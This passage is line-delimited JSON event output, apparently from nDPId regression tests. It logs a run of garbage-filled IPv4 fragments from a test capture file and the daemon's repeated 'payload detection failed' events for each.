+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652681,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652693,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652706,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652719,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652731,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652746,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652761,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652773,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652795,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652808,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652824,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652836,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652848,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652865,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652877,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652893,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652905,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652916,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652928,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652942,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652954,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652972,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652984,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653000,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653017,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653029,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653041,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653052,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653064,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653079,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653094,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653106,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653118,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653130,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653141,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653155,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653166,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653214,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653231,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653243,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653255,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653268,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 